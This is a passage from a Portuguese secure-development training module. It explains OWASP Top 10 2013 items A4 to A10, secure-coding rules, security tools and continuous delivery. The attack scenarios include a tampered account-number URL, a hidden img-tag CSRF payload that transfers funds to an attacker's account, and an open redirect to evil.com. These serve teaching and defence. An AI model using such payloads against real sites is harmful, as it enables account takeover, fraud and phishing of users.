atacante sequestre a sessão atual do usuário.
ProdutivaTI Página 73 de 131
MÓDULO 3 - SDL
TELA 14
6.4. A4: Referência Insegura e Direta a Objetos (Insecure Direct Object References)
Figura 12 - OWASP Top 10 2013 A4. FONTE: https://www.owasp.org
TELA 15
Uma referência insegura e direta a um objeto pode decorrer do acesso
não autorizado a informação crítica, devido a erros no design e no
desenvolvimento. Ela acontece quando um programador expõe uma referência
à implementação interna de um objeto, como um arquivo, diretório, ou registro
da base de dados.
Se não houver a verificação do controle de acesso ou outra proteção, os
atacantes podem manipular essas referências para acessar dados não-
autorizados.
TELA 16
Exemplo de Cenário de Ataque
ProdutivaTI Página 74 de 131
MÓDULO 3 - SDL
A aplicação utiliza dados não verificados em uma chamada SQL que está acessando as
informações de conta:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
O atacante simplesmente modifica o parâmetro ‘acct’ em seu navegador para enviar qualquer
número de conta. Se não verificado adequadamente, o atacante pode acessar qualquer conta
de usuário, em vez de somente a conta do cliente pretendido.
http://example.com/app/accountInfo?acct=notmyacc
TELA 17
6.5. A5: Configuração Incorreta de Segurança (Security Misconfiguration)
Figura 13 - OWASP Top 10 2013 A5. FONTE: https://www.owasp.org
TELA 18
OWAP Top10 2103 A5 decorre de configurações incorretas que podem
impactar na segurança da própria aplicação.
ProdutivaTI Página 75 de 131
MÓDULO 3 - SDL
Segurança de qualidade exige definição de uma configuração
implementada na aplicação, frameworks, servidor de aplicação, servidor web,
banco de dados e plataforma.
Todas essas configurações devem ser definidas, implementadas e
mantidas, já que geralmente a configuração padrão é insegura.
Adicionalmente, o software deve ser mantido atualizado.
TELA 19
Exemplo de Cenário de Ataque
A listagem de diretórios não foi desativada em seu servidor. O atacante percebe que
pode listar os diretórios para encontrar qualquer arquivo. Aproveita a vulnerabilidade para
encontrar e transferir todas as suas classes Java compiladas, podendo, inclusive decompilar e
fazer engenharia reversa para obter todo o seu código customizado. Assim, ele encontra uma
falha grave de acesso de controle em sua aplicação.
TELA 20
6.6. A6: Exposição de Dados Sensíveis (Sensitive Data Exposure)
Figura 14 - OWASP Top 10 2013 A6. FONTE: https://www.owasp.org
ProdutivaTI Página 76 de 131
MÓDULO 3 - SDL
TELA 21
Exposição de dados sensíveis é uma categoria de vulnerabilidades que
se refere à incorreta proteção dos dados críticos tais como: números de cartão
de crédito, senhas, entre outros.
Atacantes podem roubar ou modificar os dados desprotegidos, para
realizar fraudes de cartões de crédito, roubo de identidade, ou outros crimes.
Dados sensíveis devem receber proteção extra bem como precauções
especiais, como criptografia, seja no armazenamento, em trânsito, ou quando
trafegados pelo navegador.
TELA 22
Exemplo de Cenário de Ataque
Um site que não usa SSL em todas as páginas autenticadas, possibilita que o atacante
roube o cookie de sessão do usuário ao monitorar o tráfego de rede (como uma rede wireless
aberta). O atacante então reproduz este cookie e sequestra a sessão do usuário, acessando
dados privados do mesmo.
TELA 23
6.7. A7: Falta de Controle para Função do Nível de Acesso (Missing Function Level Acess Control)
Figura 15 - OWASP Top 10 2013 A7. FONTE: https://www.owasp.org
ProdutivaTI Página 77 de 131
MÓDULO 3 - SDL
TELA 24
Essa vulnerabilidade decorre da falta de controles a partir do servidor,
permitindo a um possível atacante acessar funções não autorizadas. A maioria
das aplicações web verifica os direitos de acesso em nível de função antes de
tornar essa funcionalidade visível na interface do usuário.
No entanto, as aplicações precisam executar as mesmas verificações de
controle de acesso no servidor quando cada função é invocada. Se estas
requisições não forem novamente verificadas, os atacantes poderão forjar as
requisições.
TELA 25
Exemplo de Cenário de Ataque
As seguintes URLs dão acesso a área do site que exigem autenticação:
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
O atacante não tem login/senha autorizados, mas descobre qualquer usuário pode
acessar qualquer página, desde que tenha a URL de destino. Isso é uma falha.
TELA 26
6.8. A8: Cross-Site Request Forgery (CSRF)
Figura 16 - OWASP Top 10 2013 A8. FONTE: https://www.owasp.org
ProdutivaTI Página 78 de 131
MÓDULO 3 - SDL
TELA 27
Um ataque CSRF permite que um atacante gere petições sobre uma
aplicação que se tornou vulnerável a partir de uma sessão da vítima. Essa
vulnerabilidade força a vítima que possui uma sessão ativa em um navegador a
enviar uma falsa requisição HTTP, na qual inclui o cookie da sessão da vítima
e outras informações de autenticação incluídas na sessão, a uma aplicação
web vulnerável.
A falha possibilita que o atacante force o navegador da vítima a criar
requisições, que a aplicação vulnerável aceite como se fossem requisições
legítimas realizadas pela vítima.
TELA 28
Exemplo de Cenário de Ataque
A aplicação permite que um usuário submeta uma requisição de mudança de estado
que não inclui qualquer segredo. Por exemplo:
http://exemplo.com/app/transferirFundos?quantia=1500
&contaDestino=4673243243
Com isso, o atacante pode construir uma requisição que transfira dinheiro da conta da
vítima para a conta do atacante, e então incorpora este ataque em uma requisição armazenada
em uma imagem ou iframe em vários sites sob o controle do atacante:
<img src="http://exemplo.com/app/transferirFundos?
quantia=1500&contaDestino=contaAtacante#“
width="0" height="0" />
Nessa situação, se a vítima visitar qualquer um dos sites do atacante enquanto estiver
autenticado em exemplo.com, as requisições forjadas vão incluir automaticamente informações
de sessão do usuário, autorizando o pedido do atacante.
ProdutivaTI Página 79 de 131
MÓDULO 3 - SDL
TELA 29
6.9. A9: Utilização de Componentes Vulneráveis Conhecidos (Using Known V ulnerable Components)
Figura 17 - OWASP Top 10 2013 A9. FONTE: https://www.owasp.org
TELA 30
Representa a exploração de bibliotecas, frameworks e outros
componentes vulneráveis feita por um atacante para obter acesso ou combinar
com outros ataques.
Componentes como bibliotecas, frameworks, e outros módulos de
software costumam ser executados com privilégios elevados.
Na eventualidade de um componente vulnerável ser explorado, um
ataque pode resultar em sérias perdas de dados ou até no comprometimento
do servidor.
Aplicações que utilizam componentes com vulnerabilidades conhecidas
podem minar as suas defesas e permitir ampla gama de ataques e impactos.
ProdutivaTI Página 80 de 131
MÓDULO 3 - SDL
TELA 31
Exemplo de Cenário de Ataque
Vulnerabilidades de componentes podem causar praticamente qualquer tipo de risco
imaginável, variando do malware trivial ao sofisticado desenvolvido para atingir uma
organização específica. Componentes quase sempre executam com todos os privilégios de
uma aplicação, então falhas em qualquer componente podem ser sérias. Os dois seguintes
componentes vulneráveis foram baixados 22m de vezes em 2011, tornando vulnerável toda
aplicação que os utilize.
• Apache CXF Authentication Bypass – Ao não fornecer um token de
identidade, atacantes podem chamar qualquer serviço web com todas as
permissões. (Apache CXF é um framework de serviços, não deve ser
confundido com o Servidor de Aplicação Apache.)
• Spring Remote Code Execution – Abuso da implementação de Linguagem
Expression no Spring permitiu aos atacantes executarem código
arbitrário, efetivamente comprometendo o servidor.
TELA 32
6.10. A10: Redirecionamentos e Encaminhamentos Inválidos (Unvalidated Redirects and Forwards)
Figura 18 - OWASP Top 10 2013 A10. FONTE: https://www.owasp.org
ProdutivaTI Página 81 de 131
MÓDULO 3 - SDL
TELA 33
Esta vulnerabilidade consiste no uso, pelos atacantes, de
redirecionamentos de sites para redirecionar as vítimas a sites de phishing ou
que contém malware. Fazem o mesmo com o encaminhamento a sites não
confiáveis ou páginas não autorizadas.
Exemplo de Cenário de Ataque
A aplicação possui uma página chamada “redirect.jsp” que recebe apenas um
parâmetro “url”. O atacante cria uma URL maliciousa que redireciona os usuários para o site
malicioso, que executa phishing e instala malware.
http://www.example.com/redirect.jsp?url=evil.com.
TELA 35
Chegamos ao final deste Capítulo 6, no qual você teve a oportunidade
de saber um pouco mais da comunidade internacional Open Web Application
Security Project (OWASP); conheceu a proposta OWASP Top 10; identificou de
forma discriminada todas as vulnerabilidades do OWASP Top 10 2013.
Para concluir este capítulo, optamos por substituir o tópico Em Resumo pela ficha de referência constante da Figura 18, pois ela corresponde a resumo
obtido diretamente do website institucional da OWASP, onde também poderão
ser obtidos maiores detalhes sobre o OWASP Top10 2013.
ProdutivaTI Página 82 de 131
MÓDULO 3 - SDL
TELA 36
Em RESUMO
Figura 19 - OWASP Top 10 2013. FONTE: https://www.owasp.org
ProdutivaTI Página 83 de 131
MÓDULO 3 - SDL
TELA 17. Segurança por Código (14 telas)
O Capítulo 7 discorre sobre segurança por código, assunto que é
discriminado nos seguintes tópicos, que você conhecerá ao longo desta
unidade de aprendizagem:
práticas gerais de código seguro;
validação de entradas e codificação de saída;
autenticação e gerenciamento de senhas;
autorização e gerenciamento de acesso;
gerenciamento de sessão;
transmissão e armazenamento de informações sensíveis;
interação com banco de dados;
tratamento adequado de erros; e
logging.
TELA 2Segurança por código diz respeito a técnicas para tratar vulnerabilidades
e aos cuidados que devem ser tomados no desenvolvimento de softwares.
As práticas que recomendamos nesta unidade de aprendizagem são
indicações SDL e, como você pode ver, correspondem às técnicas básicas
orientadas pelo OWASP Top 10 2013, que acabamos de estudar no Capítulo 6.
Conforme vimos, o ranking OWASP Top 10 nos orienta quanto à
proteção contra as mais importantes vulnerabilidades de segurança de
aplicações web.
Com base nele, abordamos, a seguir, práticas para o emprego da
segurança por código aplicáveis tanto na aquisição de software, quanto no
desenvolvimento de sistemas de TI.
TELA 3As recomendações podem ser utilizadas para orientar análise de
conformidade que comprove a implementação das técnicas de segurança por
código para sistemas em aquisição.
Assim como para elaboração de requisitos de processo de forma a
garantir que as técnicas de segurança por código sejam seguidas, em casos de
ProdutivaTI Página 84 de 131
MÓDULO 3 - SDL
desenvolvimento de software.
Por serem recomendações de práticas, os tópicos desta unidade de
aprendizagem são curtos, pontuais e objetivos.
TELA 4
7.1. Práticas Gerais de Código Seguro
Não se deve armazenar senhas em código-fonte.
Não se deve utilizar códigos da Internet sem conhecer e confiar a
fonte ou entender seu funcionamento.
Não se deve usar funções ou recursos obsoletos (deprecated).
Deve-se aplicar o conceito de validação positiva.
TELA 5
7.2. Validação de Entradas e Codificação de Saída
Todo ponto de interação de dados com o usuário do sistema (input)
deve ter sua validação feita na entrada do dado e na sua
apresentação (output).
Validações de segurança devem ser realizadas no servidor
(webserver) sempre.
No cliente (navegador), a validação pode ser feita quando convier.
Sempre que possível, deve-se adotar a validação positiva ou lista
branca (whitelist).
Sempre se deve pensar na possibilidade de bypass da validação.
ProdutivaTI Página 85 de 131
MÓDULO 3 - SDL
TELA 6
7.3. Autenticação e Gerenciamento de Senhas
Deve-se utilizar sempre HTTP POST para a requisição de
autenticação.
Envio de credenciais deve utilizar HTTPS.
Deve-se pedir sempre uma nova autenticação em ações críticas.
Deve-se usar hash com salt para codificar as senhas a serem
armazenadas.
Deve-se usar um algoritmo de hash público e aprovado por instituto
de padronização de reconhecimento internacional, como o National
Institute of Standards and Technology (NIST) dos Estados Unidos,
por exemplo.
TELA 7 (continuação de Autenticação e Gerenciamento de Senhas)
Deve-se implementar complexidade de senhas e não permitir
usuários ou senhas-padrão. Para tal, toda aplicação que exija login e
senha deve usar uma classe ou mecanismo validador de senhas
para garantir o cumprimento da política de senhas da organização.
Deve-se desabilitar as opções de configuração “lembrar minha
senha” e o “autocompletar” de navegadores.
Deve-se usar mensagens imprecisas para informar uma tentativa de
login inválida. Usar: “usuário ou senha inválidos”. Não usar: “usuário
inexistente” ou “senha incorreta”.
Deve-se planejar bem a lógica dos processos de “esqueci a minha
senha”.
TELA 8
ProdutivaTI Página 86 de 131
MÓDULO 3 - SDL
7.4. Autorização e Gerenciamento de Acesso
A restrição de acesso para cada perfil a um conteúdo ou operação
específicos não deve ser feita apenas pela ocultação de um link ou
de uma opção em um menu.
Deve-se fazer uma validação de cada requisição, sempre no
servidor.
Deve-se garantir que arquivos e diretórios não possam ser
acessados diretamente.
Não se deve armazenar nenhuma informação que possa
comprometer o controle de acesso do lado do cliente.
Deve-se forçar um re-login sempre que o perfil de usuário for
alterado, desta forma um usuário não pode permanecer com o
acesso caso tenha sofrido um downgrade de perfil.
TELA 9
7.5. Gerenciamento de Sessão
O controle de sessão deve ser tratado pelo servidor, apenas a
persistência dele no cliente.
Deve-se implementar time-out de sessão e sempre gerar um novo ID
após a autenticação.
Não se deve passar ID de sessão por HTTP GET.
Deve-se implementar um token de sessão por requisição e com alta
aleatoriedade para evitar ataques de CSRF.
TELA 10
ProdutivaTI Página 87 de 131
MÓDULO 3 - SDL
7.6. Transmissão e Armazenamento de Informações Sensíveis
Dados sensíveis devem ser transmitidos por canais HTTPS.
Não se deve armazenar senhas ou dados sensíveis em locais sem
criptografia.
Não se deve enviar informações sensíveis para logs.
Deve-se certificar que os comentários de código não contenham
informações que possam comprometer a segurança.
Deve-se garantir que a lógica do código do lado do cliente não crie
vulnerabilidades.
Campos hidden não devem armazenar dados sensíveis.
Deve-se estudar a adoção do cabeçalho HSTS (HTTP Strict
Transport Security).
Campos password podem ser revertidos do lado do cliente, portanto
não se deve apresentar dados sensíveis usando esse recurso.
TELA 11
7.7. Interação com Banco de Dados
Sempre que possível, deve-se adotar Stored Procedures ou
Prepared Statement.
Se não for possível usar Stored Procedures ou Prepared Statement,
deve-se validar todas as interações com o banco e nunca se deve
usar concatenação para montar qualquer consulta com o banco de
dados.
Deve-se desabilitar os recursos do banco que não serão utilizados.
Deve-se acessar o banco de dados com um usuário com privilégio
estritamente necessário para a realização das operações
necessárias.
ProdutivaTI Página 88 de 131
MÓDULO 3 - SDL
Não se deve deixar o banco de dados ser acessado por outro canal
que não seja a aplicação.
TELA 12
7.8. Tratamento adequado de erros
Deve-se usar uma estrutura de tratamento de erros em qualquer
método em que um erro possa ocorrer.
O Java não encerra as conexões de banco de dados, arquivos etc.
quando erros ocorrem. Nesse caso, deve-se usar, portanto, o bloco
finally para realizar as ações de limpeza necessárias.
TELA 13
7.9. Logging
O logging deve fazer parte da concepção do sistema, deve estar
claro o que se pretende com os logs da aplicação.
Deve-se implementar um bom sistema de logging, de tal forma a
viabilizar auditorias e investigações de fraudes e casos de abuso.
TELA 14
ProdutivaTI Página 89 de 131
MÓDULO 3 - SDL
Com esse tópico, concluímos o Capítulo 7, ao longo do qual você teve a
oportunidade de conhecer as práticas gerais de código seguro; validação de
entradas e codificação de saída; autenticação e gerenciamento de senhas;
autorização e gerenciamento de acesso; gerenciamento de sessão;
transmissão e armazenamento de informações sensíveis; interação com banco
de dados; tratamento adequado de erros; e logging. Considerando a
característica diferenciada do conteúdo desta unidade de aprendizagem,
concluiu-se que ela não comporta um tópico Em RESUMO.
ProdutivaTI Página 90 de 131
MÓDULO 3 - SDL
TELA 18. Suporte na Revisão e Desenvolvimento (34 telas)
Ao tratar do suporte na revisão e no desenvolvimento, o Capítulo 8
aborda os seguintes tópicos que você aprenderá ao longo da presente unidade
de aprendizagem:
ferramentas de suporte a análise; e
o recurso continuous delivery.
TELA 2
Acabamos de conhecer os processos de desenvolvimento de software
seguro; para modelagem de modelos de ameaças; de identificar
vulnerabilidades, além das práticas gerais de código seguro.
Feito isso, fica muito evidente que software seguro é aquele que satisfaz
requisitos implícitos e explícitos de segurança.
Além disso, percebemos que tais requisitos devem ser satisfeitos tanto
quando o software se mantém em condições normais de operação, quanto
quando se sujeita a situações decorrentes de atividade maliciosa.
TELA 3Entendemos que não é suficiente passar a se preocupar com segurança
apenas a partir do momento em que o software vai entrar em produção.
Não adianta cumprir todas as fases do processo de desenvolvimento e
deixar para considerar a segurança depois de 'entregar' o software.
Como vimos, cada fase do ciclo de vida do software tem sua
contribuição para garantir a segurança do produto.
Mesmo depois de implementado em produção, ameaças devem ser
controladas por processos de gestão de vulnerabilidades, que envolvem
prevenção e respostas a incidentes de segurança.
ProdutivaTI Página 91 de 131
MÓDULO 3 - SDL
TELA 4Vulnerabilidades de codificação podem ser minimizadas pelo
treinamento de desenvolvedores em técnicas gerais de programação segura e
nas especificidades das linguagens que utilizam.
Ferramentas automatizadas podem ser utilizadas para testes duncionais
de revisão de códigos, como a máquina virtual Java, que evita o estouro de
pilha ao verificar se um vetor está dentro dos limites; ou como o uso das
funçõoes strcpy() e strcmp() em C/C++, por exemplo.
Entretanto, testes de segurança, na maioria das vezes, exigem um
raciocínio diferenciado, que requer do testador a habilidade de se colocar na
posição de usuários maliciosos que tentam encontrar 'brechas' capazes de
comprometer o aplicativo. Daí porque devem ser feitos por profissionais
especializados em segurança e envolver adequado instrumental de suporte à
análise.
TELA 5
8.1. Ferramentas de Suporte a Análise
Neste tópico, embora haja outras que possam ser elencadas, serão
destacados duas categorias principais de ferramentas de suporte à análise e à
decisão, quanto a segurança de TI, não só no desenvolvimento:
os trabalhos mais relevantes da OWASP e
as ferramentas de segurança disponibilizadas pelo TechCenter de
Segurança da Microsoft, aqui apresentadas indistintamente, uma
vez que o desenvolvimento e a funcionalidade de um software
pode ser afetado por falhas ambientais de segurança.
ProdutivaTI Página 92 de 131
MÓDULO 3 - SDL
TELA 6Trabalhos mais relevantes da OWASP.
Quando apresentamos o ranking OWASP Top10, trouxemos à tona uma
das mais importantes ferramentas de suporte à análise de segurança de
software.
A Open Web Application Security Project tem como propósito principal
divulgar aspectos de segurança nas aplicações web, contribuindo para a
construção de uma rede internacional de avaliação de riscos por pessoas e
organizações.
Sendo assim, quando se fala em análise de segurança, as contribuições
da OWASP merecem destaque, por estarem presentes nos cinco continentes,
de forma aberta, gratuita, e receptiva à contribuição de quaisquer interessados.
TELA 7Segue uma relação dos trabalhos mais relevantes da OWASP.
OWASP Top10 (Top Ten) - como já vimos, é uma lista, internacionalmente
adotada, das dez vulnerabilidades mais críticas presentes em aplicações
web.
Guia de desenvolvimento - descreve as melhores práticas de segurança
para o projeto, desenvolvimento e implantação de sistemas e serviços web
e inclui diversos exemplos práticos de códigos em J2EE, ASP.NET e PHP.
Guia de revisão de código – livro que ilustra como encontrar
vulnerabilidades em aplicações web, por meio da inspeção do código fonte.
Possui exemplos em diversas linguagens, como Java, C, C++ e ASP.
Guia de testes – fornece metodologia e procedimentos detalhados para a
realização de testes de invasão em aplicações web, cobrindo as principais
vulnerabilidades conhecidas. Apresenta testes caixa-preta e, também,
caixa-cinza.
ProdutivaTI Página 93 de 131
MÓDULO 3 - SDL
TELA 8
ATENÇÃO!
Teste caixa-cinza: o avaliador conhece os algoritmos, faz consulta SQL, tem acesso a operações internas, manipula arquivos de entrada e saída XML, etc. Avalia saídas (externas) e os processos internos usados para ocasioná-las. Se o programa der erro durante o teste, o avaliador poderá encontrar a causa do problema na parte interna.
Teste caixa-preta: o avaliador não tem acesso ao código-fonte do programa, avaliando somente a parte funcional, ou externa, dele. Verifica como o usuário final responderia à interface de um programa, possíveis equívocos que ele cometeria e como o sistema reagiria.Saiba mais em: <http://testesdesoftware.com/>
TELA 9 (Continuação dos trabalhos mais importantes da OWASP)
WebScarab – ferramenta em Java, feita para ser utilizada em testes de
segurança de aplicações web. Atua como um proxy entre o navegador e o
servidor web, permitindo interceptar requisições e respostas e alterá-las.
Em outras opções, permitem automatizar testes de injeção, analisar a
aleatoriedade de identificadores de sessão e repetir requisições do
histórico.
WebGoat – aplicação web deliberadamente insegur, criada com o objetivo
de ensinar os conceitos de segurança web e orientar quanto a testes de
invasão.
TELA 10
A seguir, transcrevemos a relação de ferramentas do TechCenter de
Segurança da Microsoft, na sequência de seu agrupamento no website
corporativo.
Microsoft Baseline Security Analyzer - usado para aprimorar o
processo de gerenciamento da segurança, detectando erros comuns
de configuração e de atualizações de segurança.
Microsoft Security Assessment Tool - destina-se a avaliar pontos
fracos do ambiente de segurança de TI. Retorna uma lista de
ProdutivaTI Página 94 de 131
MÓDULO 3 - SDL
problemas classificados por prioridade, com orientação específica
para minimizar riscos de segurança.
TELA 11 (continuação das ferramentas do TechCenter da Microsoft)Gerenciamento de atualização de segurança
Atualização Microsoft - O Microsoft Update consolida atualizações
fornecidas pelo Windows Update e pelo Office Update, viabilizando a
configuração pra entrega e instalação automáticas de atualizações de
alta prioridade.
Windows Server Update Services (WSUS) - O WSUS facilita a
atualização de sistemas baseados no Windows com as atualizações
mais recentes e com o mínimo de intervenção administrativa.
System Center Configuration Manager - Permite a implantação de
aplicativos e sistemas operacionais e o gerenciamento da configuração,
aprimorando a segurança do sistema e do gerenciamento de ativos de
servidores, desktops e dispositivos móveis.
Inventory Tool for Microsoft Updates do Systems Management Server
2003 - Integra o Systems Management Server com a Inventory Tool for
Microsoft Updates (ITMU) para determinar a conformidade de
atualização de sistemas gerenciados.
TELA 12 (continuação das ferramentas do TechCenter da Microsoft)Detecção de atualização de segurança
Microsoft Baseline Security Analyzer (MBSA) - O MBSA procura
atualizações de segurança ausentes e configurações incorretas
comuns de segurança.
Conector do Microsoft Office Visio 2007 para Microsoft Baseline
Security Analyzer - Permite ver os resultados de uma verificação do
MBSA em um diagrama de rede claro e abrangente do Microsoft Office
Visio 2007.
ProdutivaTI Página 95 de 131
MÓDULO 3 - SDL
TELA 13 (continuação das ferramentas do TechCenter da Microsoft)Avaliação de segurança
Kit de Ferramentas Microsoft Assessment and Planning (MAP) para
avaliação de segurança no PC - Este kit de ferramentas gratuito avalia
todo o ambiente de TI em busca de vulnerabilidades de desktops e
laptops a vírus e malware para determinar se os seus PCs estão
prontos para o Forefront Client Security.
Microsoft Security Assessment Tool (MSAT) - O MSAT traz
informações e recomendações de melhoria para a segurança na
infraestrutura de TI.
TELA 14 (continuação das ferramentas do TechCenter da Microsoft)Bloqueio, auditoria e detecção e atualização de invasão -
Ferramentas de gerenciamento e bloqueio de conta - ajudam a
gerenciar contas e a solucionar problemas de bloqueios de contas.
Visualizador de senhas de recuperação do Active Directory BitLocker -
Ajuda a localizar senhas de recuperação de Criptografia de Unidade de
Disco BitLocker para computadores baseados no Windows Vista ou no
Windows Server 2008 em Serviços de Domínio do Active Directory.
Ferramenta de preparação de unidade BitLocker - Configura as
unidades de disco rígido para dar suporte ao BitLocker.
TELA 15 (continuação das ferramentas do TechCenter da Microsoft) Ferramenta de reparo Bitlocker - Pode ajudar a recuperar dados de um
volume de disco corrompido ou danificado que foi criptografado com o
BitLocker.
Verificador de integridade de soma de verificação de arquivo -
Ferramenta de linha de comando que calcula e verifica valores de hash
criptográficos de arquivos MD5 ou SHA-1.
Ferramenta de bloqueio do IIS - Reduz a superfície de ataque de
versões anteriores dos Serviços de Informações da Internet (IIS) e
inclui URLScan, que proporciona várias camadas de proteção contra
invasores.
ProdutivaTI Página 96 de 131
MÓDULO 3 - SDL
Gerador de relatórios de portas - Ferramenta executada como um
serviço em computadores que executam o Windows Server 2003, o
Windows XP ou o Windows 2000 e registra a atividade das portas TCP
e UDP.
TELA 16 (continuação das ferramentas do TechCenter da Microsoft)
Analisador do Gerador de relatórios de portas (PR-Parser) - Analisa os
logs gerados pelo serviço Gerador de Relatórios de Portas, com base
em recursos avançados de análise, aplicáveis à solução de problemas
de segurança.
PortQry - Utilitário de linha de comando, que ajuda a solucionar
problemas de conectividade TCP/IP no Windows Server 2003, no
Windows XP ou no Windows 2000.
PromQry - O Promqry e o PromqryUI permitem detectar sniffers
(farejadores) de rede em computadores que executam o Windows
Server 2003, o Windows XP e o Windows 2000.
TELA 17 (continuação das ferramentas do TechCenter da Microsoft)
SubInACL - Ferramenta de linha de comando, que permite obter
informações de segurança sobre arquivos, chaves do Registro e
serviços. Permite transferir essas informações de usuário a usuário, de
grupo a grupo local ou global e de domínio a domínio.
UrlScan Security Tool 3.0 - Ajuda a impedir que solicitações HTTP
potencialmente prejudiciais cheguem a servidores Web do IIS. Inclui
recursos que ajudam a proteger contra ataques de injeção SQL.
Windows SteadyState - Ajuda a manter computadores funcionando da
maneira desejada, sendo particularmente últil para gerenciar
computadores em laboratórios de informática, cybercafés, bibliotecas
ou redes domésticas e corporativas.
ProdutivaTI Página 97 de 131
MÓDULO 3 - SDL
TELA 18 (continuação das ferramentas do TechCenter da Microsoft)Remoção e proteção contra vírus e malware
Ferramenta de remoção de software mal-intencionado - Ferramenta
atualizada no mínimo semanalmente, verifica e ajuda a remover a
infecção caso ela seja encontrada.
Windows Defender - Programa gratuito que ajuda a proteger os PCs de
pop-ups, desempenho lento e ameaças de segurança causadas por
spyware e outros softwares indesejados.
Microsoft Security Essentials - O Microsoft Security Essentials é um
download gratuito da Microsoft que oferece proteção em tempo real para o seu
PC doméstico contra vírus, spyware e outros softwares mal-intencionados.
TELA 19
8.2. Continuous Delivery
O que é 'continuous delivery'? Entrega contínua é uma forma, um
método de desenvolvimento de software que propõe que o software seja
construído de tal forma que ele possa ser liberado para produção a qualquer
momento.
Entre os atributos mais frequentemente associados ao termo, podem ser
elencados os seguintes:
reduzir riscos;
aumentar a confiança;
ser tão necessário quanto o controle do código fonte;
capaz de alinhar o processo de desenvolvimento e a entrega;
conhecimento indispensável a desenvolvedores, programadores,
testadores, administradores de sistemas, DBAs e gerentes;
é forma de fazer negócios.
ProdutivaTI Página 98 de 131
MÓDULO 3 - SDL
TELA 20Entrega contínua, integração contínua, implantação contínua ou
contínuous delivery tem sido considerada como uma estratégia de produção de
software que prevê a integração contínua do processo de desenvolvimento de
software com a sua entrega.
Isso é possível? Os termos acima são realmente sinônimos? Como fazer
isso? Afinal, o problema da entrega de software tem sido um dos assuntos
mais recorrentes no cenário do desenvolvimento de aplicações.
TELA 21 Sim, a possibilidade de entrega contínua tem sido aceita como efetiva,
mas parece que é a moda que tem feito com que as pessoas substituam os
termos acima relacionados uns pelos outros, como se fossem sinônimos,
quando efetivamente não o são.
Integração contínua, continuous integration (CI) são processos que
representam a prática de integração e testes de um novo código ao código já
existente. Trata-se de um requisito, uma condição necessária para que o
processo de entrega contínua tenha condições de ocorrer corretamente.
TELA 22Entrega contínua, por sua vez, é sinônimo de continuous delivery (DC) e
corresponde a um conjunto de práticas que tem por objetivo garantir que o
novo código possa ser imediatamente implantado no ambiente de produção.
A redução de custo e do risco na entrega das alterações de software
contabilizam-se entre os maiores benefícios do continuous delivery e seu
sucesso se suporta na garantia da seguinte proposta:
mais agilidade no desenvolvimento de recursos;
menos interrupções para o cliente; e
teste automatizado.
TELA 23
Você já deve ter ouvido falar em DevOps, que corresponde à contração
dos termos Desenvolvimento (de software) e Operações (de TI) e representa
um método de trabalho que busca exatamente tornar viável essa integração,
ProdutivaTI Página 99 de 131
MÓDULO 3 - SDL
utilizando a comunicação e a cooperação entre desenvolvedores de software e
demais profissionais de TI.
Evidente que DevOps é impossível sem CICD, termo que se traduz na
junção de integração e entrega contínuas. Perceba, também, que não há como
garantir continuous delivery (CD), que é a entrega efetiva da alteração
incremental do software, sem continuous integration (CI), que é o teste
préviocapaz de garantir que a junção do novo código ao já existente ocorrerá
sem erros.
TELA 24Levando em conta tudo o que vimos sobre o desenvolvimento seguro,
aqui neste módulo, e o que estudamos sobre perspectivas ágeis no Módulo 1,
PRINCE2®, fica relativamente fácil perceber que contínuous delivery deve
funcionar muito bem com abordagens ágeis.
Essas, por filosofia, trabalham de forma fragmentada, em pequenos
processos, que desenvolvem e entregam pequenas soluções que, juntas
constituem o todo.
Além disso, a entrega contínua está no primeiro princípio do Manifesto
Ágil: “nossa maior prioridade é satisfazer o cliente através da entrega contínua
e adiantada de software com valor agregado.”
TELA 25Dividindo o trabalho em pequenas iterações, grandes mudanças podem
ser conduzidas em pequenos passos, pequenas implantações, que são
gradualmente integradas à solução total, anteriormente existente e funcional.
Pequenas alterações de funcionalidades significam testes menores,
mais fáceis de serem implantados automaticamente.
Teste automatizado evita interrupções e permite que os resultados
sejam rapidamente conhecidos e informados. Teste e feedback contínuos
favorecem o aumento da produtividade de equipes e organizações.
TELA 26Apresentada dessa maneira, CICD parece solução técnica e negocial
mágica, capaz de viabilizar que recursos recentes possam ser rapidamente
ProdutivaTI Página 100 de 131
MÓDULO 3 - SDL
incorporados e disponibilizados para os clientes, representando excelente
ganhos negociais.
Parece bom demais para ser verdade? Parece, sim. Não porque seja
impossível de alcançar, mas porque não é tão fácil quanto possa parecer à
primeira vista.
Não há dúvidas quanto aos ganhos competitivos consequentes do
continuous delivery.
Entretanto, na condução de processos CICD é indispensável manter
atenção voltada a possíveis falhas, capazes de inviabilizar toda a solução.
TELA 27É preciso resistir ao risco de entregar uma boa ideia aos usuários sem
cumprir o processo: construção => implantação => teste => liberação.
Já conhecemos o ciclo de vida do desenvolvimento de software seguro.
Sabemos que é impossível obter software confiável, rápido e de baixo risco.
Queremos garantir a entrega, sim, mas não podemos desprezar o ciclo
de vida do desenvolvimento.
Queremos desenvolver com segurança, sim, mas queremos entregar
também. Entregar continuamente. Isso requer CICD. E também significa
integração de testes automaticamente aos processos de desenvolvimento.
TELA 28Ocorre que a maioria das aplicações atuai, independente de tamanho,
possui implantação complexa que envolve muitos partes móveis.
Atualizações manuais são complexas, atualizações automáticas difíceis
de integrar. A probabilidade de ocorrência de erro humano é grande em ambas
as soluções.
Para garantir a entrega contínua, é preciso trabalhar no sentido de evitar
a ocorrência não só dos erros decorrentes das atualizações.
É necessário, também, conhecer e evitar os mais costumeiros
antipadrões associados ao insucesso na entrega de software.
ProdutivaTI Página 101 de 131
MÓDULO 3 - SDL
TELA 29Antipadrões que, de forma divertida, mas sem perder a seriedade, são
assim destacados por Humble e Farley (2011):
A produção de uma extensa e detalhada documentação que contém as
possíveis falhas do produto;
Conduzir e confiar em testes manuais para confirmar se o aplicativo está
em execução corretamente;
Frequentes convocações da equipe de desenvolvimento para alertar
quanto a possíveis falhas de lançamento;
Correções frequentes ao processo de liberação durante um release;
Diferentes configurações de ambientes e elementos relacionados
(servidores de aplicativos, pool de conexão, layouts, etc.);
Versões que levam mais de alguns minutos para serem executadas;
Saídas que têm resultados imprevisíveis, que muitas vezes têm de
ser revertidos ou geram problemas;
Passar a noite seguinte ao lançamente diante de um monitor, tentando
descobrir como fazer o software funcionar.
TELA 30
Humble e Farley (2011) ressaltam também que, além de evitar os
antipadrões, é preciso seguir os princípios da entrega contínua, que se alinham
com os do desenvolvimento ágil.
